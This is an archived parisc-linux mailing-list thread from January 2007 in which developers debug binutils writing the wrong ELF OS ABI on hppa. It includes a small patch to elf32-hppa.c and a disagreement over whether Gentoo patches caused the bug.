Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qz3dL3NHaHI/SaWnKSUl35RqamdhZAQ3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24262

> On 1/27/07, Mike Frysinger <vapier@gentoo.org> wrote:
> > after upgrading from 2.17.50.0.9 to 2.17.50.0.10 (.11 too), ld seems unable to
> > do anything remotely basic ... is there something basic i'm missing here ?  i
> > verified that it isnt caused by the Gentoo patchsets as a vanilla build
> > exhibits the issue as well
> 
> 1. Build the last known working binutils, run the testsuite.
> 2. Build the new binutils and configure configure logs looking for
> failing configure tests or changes in the configured options.
> 3. Run the new binutils testsuite and compre the results to the old testsuite.
> 4. Post the results.

I just built the current CVS version of binutils with
gcc version 4.1.2 20061028 (prerelease) (Debian 4.1.1-19).
There are no unexpected fails.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 12:56:05 -0500
Organization: wh0rd.org
Lines: 116
Approved: news@gmane.org
Message-ID: <200701271256.06424.vapier__41431.2125220478$1416624269$gmane$org@gentoo.org>
References: <200701271613.l0RGDmXX008512@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_2I5uFMS6CTTIhqV"
X-Trace: ger.gmane.org 1416624269 22560 80.91.229.3 (22 Nov 2014 02:44:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 17:56:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 27 Jan 2007 18:56:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E3977D9E8;
	Sat, 27 Jan 2007 10:56:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20616-02; Sat, 27 Jan 2007 10:56:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3441D7D9ED;
	Sat, 27 Jan 2007 10:56:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FFF07D9E4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 10:56:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19971-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 10:56:43 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id D998F7D9E3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 10:56:42 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 2B3856491A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 17:56:38 +0000 (UTC)
Original-Received: (qmail 10652 invoked from network); 27 Jan 2007 12:54:39 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Jan 2007 12:54:39 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <200701271613.l0RGDmXX008512@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: V6CdbeqPLi5mBvfRZWtpMWljZml1ZJgk
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24263

--Boundary-00=_2I5uFMS6CTTIhqV
Content-Type: multipart/signed; boundary="nextPart1769344.XnKTeEbv0S";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1769344.XnKTeEbv0S
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 27 January 2007 11:13, John David Anglin wrote:
> > after upgrading from 2.17.50.0.9 to 2.17.50.0.10 (.11 too), ld seems
> > unable=3D to=3D20
> > do anything remotely basic ... is there something basic i'm missing here
> > ? =3D i=3D20
> > verified that it isnt caused by the Gentoo patchsets as a vanilla
> > build=3D20 exhibits the issue as well
>
> There's been very few hppa changes to binutils in the past several
> months.  I can't duplicate the problem, so maybe there's something
> wrong with your libc setup.

no, one of the very few changes to the hppa bfd broke things ... it's writi=
ng=20
the ELF OS ABI field as HPUX instead of Linux and well, that doesnt go over=
=20
very well :)

here's the weird thing ... looking at bfd/elf32-hppa.c in binutils 2.17.50.=
0.
{10,11} doesnt seem to match the version actually in cvs ??

at any rate, attached patch applies against 2.17.50.0.10 and 2.17.50.0.11 a=
nd=20
fixes the issue for me
=2Dmike

--nextPart1769344.XnKTeEbv0S
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARbuSNkFjO5/oN/WBAQK28hAArb3NzCSaXw/QW7+DhxXE4OrLKDs2Ojx0
99Pb4iCOPplnTRs3Slw2MDBoelrMWjCe6S/d8k5A6bPuej66h2jjzRSgAZjPEW3l
IjWhNuvQSDm4YA+9mdTsjd5iv730l3Y37nOr9AwqMOZHBiPF/Bdwu9BekOxrLysT
WeFbyywXq3dwehZZ0/boaV8M+2bLIMor4x5q/aT50chdrem0mdXM1IluXDiVaiuD
s3+oTowmyQq0fURww7Y6mNHdud/lJCW8HCbuCY4zlIYuPJppPSV//maX9Hsd4kEJ
W25FVFDOd9tAzmHd0a2+S5P5ZwLDthOMyLH9kMIJ4Ryr+s2Q+LpOdUPXDF08otKA
qhK5DsbGZxKJmGM2JLAL/y3JrOz5XZrBQWvQMGsaBRXCNbttabePeiGkYgfVhLIh
6q5oAW38bjyeq03S3iCzjeBwp0p8adb9Q3xFerBeI0otQKp9E9nv2FCEEnDbr1rY
CRmkoUPL4mKfx7bfBvNiqyK7JhYbn/wh4BMKuzMY1thHLimTY2OkHPjBbs4qCt9n
2G+4gfveMr6jajBUdd/+6er82FfaP0fakhMiov2GLOSv0vpfBLOOdpNnNYc/gK3o
vdCDDmMj4A/kXIBSItLTaZ70Pg3Wo1hFPgbFYbV9V2VflLz+sha4Nhlq606Hd5Il
dwZNSEY302Y=
=El7V
-----END PGP SIGNATURE-----

--nextPart1769344.XnKTeEbv0S--

--Boundary-00=_2I5uFMS6CTTIhqV
Content-Type: text/x-diff; charset="iso-8859-1";
	name="binutils-hppa32-bfd-bed.patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
	filename="binutils-hppa32-bfd-bed.patch"

2007-01-27  Mike Frysinger  <vapier@gentoo.org>

	* elf32-hppa.c [elf32_bed]: Define for hpux, linux, and netbsd.
	[INCLUDED_TARGET_FILE]: Remove.

=2D-- binutils-2.17.50.0.10/bfd/elf32-hppa.c
+++ binutils-2.17.50.0.10/bfd/elf32-hppa.c
@@ -4656,6 +4656,7 @@
 #define ELF_MACHINE_CODE	EM_PARISC
 #define ELF_MAXPAGESIZE		0x1000
 #define ELF_OSABI		ELFOSABI_HPUX
+#define elf32_bed		elf32_hppa_hpux_bed
=20
 #include "elf32-target.h"
=20
@@ -4665,8 +4666,9 @@
 #define TARGET_BIG_NAME			"elf32-hppa-linux"
 #undef ELF_OSABI
 #define ELF_OSABI			ELFOSABI_LINUX
+#undef elf32_bed
+#define elf32_bed		elf32_hppa_linux_bed
=20
=2D#define INCLUDED_TARGET_FILE 1
 #include "elf32-target.h"
=20
 #undef TARGET_BIG_SYM
@@ -4675,5 +4677,7 @@
 #define TARGET_BIG_NAME			"elf32-hppa-netbsd"
 #undef ELF_OSABI
 #define ELF_OSABI			ELFOSABI_NETBSD
+#undef elf32_bed
+#define elf32_bed		elf32_hppa_netbsd_bed
=20
 #include "elf32-target.h"

--Boundary-00=_2I5uFMS6CTTIhqV
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_2I5uFMS6CTTIhqV--



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 14:19:13 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200701271919.l0RJJDeq011264__45218.0795291953$1416624269$gmane$org@hiauly1.hia.nrc.ca>
References: <200701271256.06424.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624269 22563 80.91.229.3 (22 Nov 2014 02:44:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 19:19:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 27 Jan 2007 20:19:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 252067DA07;
	Sat, 27 Jan 2007 12:19:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20941-07; Sat, 27 Jan 2007 12:19:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1413B7D9F2;
	Sat, 27 Jan 2007 12:19:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F0827D9D7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:19:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20939-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:19:45 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EFA447D97A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:19:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0RJJDV2011265;
	Sat, 27 Jan 2007 14:19:14 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0RJJDeq011264;
	Sat, 27 Jan 2007 14:19:13 -0500 (EST)
In-Reply-To: <200701271256.06424.vapier@gentoo.org> from "Mike Frysinger" at
	Jan 27, 2007 12:56:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 652OcbAqRkkffKuPfGRqqolmdWkvKBPS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24264

> > There's been very few hppa changes to binutils in the past several
> > months.  I can't duplicate the problem, so maybe there's something
> > wrong with your libc setup.
> 
> no, one of the very few changes to the hppa bfd broke things ... it's writi=
> ng=20
> the ELF OS ABI field as HPUX instead of Linux and well, that doesnt go over=
> =20
> very well :)
> 
> here's the weird thing ... looking at bfd/elf32-hppa.c in binutils 2.17.50.=
> 0.
> {10,11} doesnt seem to match the version actually in cvs ??
> 
> at any rate, attached patch applies against 2.17.50.0.10 and 2.17.50.0.11 a=
> nd=20

The problem appears to have been introduced by gentoo by the addition
of several ELF_OSABI defines to the file ;)  I don't think they should
be there.

The new elf_bed defines look ok.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 14:38:51 -0500
Organization: wh0rd.org
Lines: 59
Approved: news@gmane.org
Message-ID: <200701271438.52157.vapier__15319.9034547017$1416624270$gmane$org@gentoo.org>
References: <200701271919.l0RJJDeq011264@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1167316613=="
X-Trace: ger.gmane.org 1416624270 22564 80.91.229.3 (22 Nov 2014 02:44:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 19:38:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 27 Jan 2007 20:38:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 48A147DA12;
	Sat, 27 Jan 2007 12:38:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21238-06; Sat, 27 Jan 2007 12:38:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DBB47DA13;
	Sat, 27 Jan 2007 12:38:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A9857DA0C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:38:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21238-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:38:37 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 7212B7DA0A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:38:37 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id EFA0A64E86
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 19:38:35 +0000 (UTC)
Original-Received: (qmail 4390 invoked from network); 27 Jan 2007 14:37:23 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Jan 2007 14:37:23 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <200701271919.l0RJJDeq011264@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K8POdvcdODBoR7WUfGRM91o1Ji9SWpKC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24265

--===============1167316613==
Content-Type: multipart/signed; boundary="nextPart1695403.t7L4tOXuut";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1695403.t7L4tOXuut
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 27 January 2007 14:19, John David Anglin wrote:
> The problem appears to have been introduced by gentoo by the addition
> of several ELF_OSABI defines to the file ;)  I don't think they should
> be there.

huh ?  that patch was against vanilla binutils release ... in other words, =
i=20
did `tar jxf binutils-2.17.50.0.11.tar.bz2` ... so unless Gentoo has patche=
d=20
tar to screw up elf32-hppa.c, i dont think it's a Gentoo issue
=2Dmike

--nextPart1695403.t7L4tOXuut
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARbuqS0FjO5/oN/WBAQI9hw//c6emD5wwVKWP2l2PhH3rcgNVaJ/rmDV6
MnuyhnvJNRUxS2OJ2ENBnvTlHWD9458Yh37NTy6QdBAzzjMgbiyda3WLJ1kujOST
UnyhuV/F48zjTVfFrNP+vh69ekEJNf39zuonDmkHQ9aRXiPj+C4fkopY+P8Lvcrc
AieZirlJSDSpLPyWx1ZEcgxc1wdrAgL2w/pVQgMyyTZL5JsBd00Z2Z0BVSBXcR7B
YzbLjPQ+e9smq4d5/AGSj5NJmCw/MrEysXAGCQag0BTpwv5vWF6g0oDnLN0jFjvm
nxpcTqb1OPIBrA65x/j7J+pqgKYjbodpSuzknvamjZephNp8KWAKpei1NMYsi85X
7bdTQSsPeHYPWI1U3iJRAAohHsVxcexhN7b+RPeD/C+7U8Ps96UhZWkNvJZ95/eB
hBM6q14i2W1ehBetqMtZWNDIJT2nV+fVvzQXGClTzMJ2xdScSu8l9ld1cyQvOIpZ
Tobt9IqOOHApFgxqCnpv/nCiJ8JEh+UhIO9w4RDlODjqZA71uk9AF3IsCCjoS0FI
ID5qOm3OM3VabIS5q4hnd1VqvNnRSQXnekKHT1PPnp9vKzOBsmZmNOSodcpfQIsF
tu0D1E4MebMgDq3GnNAowhZLV4Om86w8wrvwokFxl/da0yTWTLXGsm4Jabva2wB9
arXkkWF+vBs=
=iUvL
-----END PGP SIGNATURE-----

--nextPart1695403.t7L4tOXuut--

--===============1167316613==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1167316613==--



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 14:48:05 -0500
Organization: wh0rd.org
Lines: 63
Approved: news@gmane.org
Message-ID: <200701271448.05974.vapier__25852.9881983579$1416624270$gmane$org@gentoo.org>
References: <200701271919.l0RJJDeq011264@hiauly1.hia.nrc.ca>
	<200701271438.52157.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============2027755443=="
X-Trace: ger.gmane.org 1416624270 22567 80.91.229.3 (22 Nov 2014 02:44:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:30 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 19:47:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 27 Jan 2007 20:47:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 155247DA23;
	Sat, 27 Jan 2007 12:47:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21306-10; Sat, 27 Jan 2007 12:47:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 521317DA1F;
	Sat, 27 Jan 2007 12:47:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D814F7DA1C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:47:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21238-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:47:42 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 28BBA7DA1A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 12:47:42 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 10C0464E7C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 19:47:40 +0000 (UTC)
Original-Received: (qmail 24725 invoked from network); 27 Jan 2007 14:46:37 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Jan 2007 14:46:37 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <200701271438.52157.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
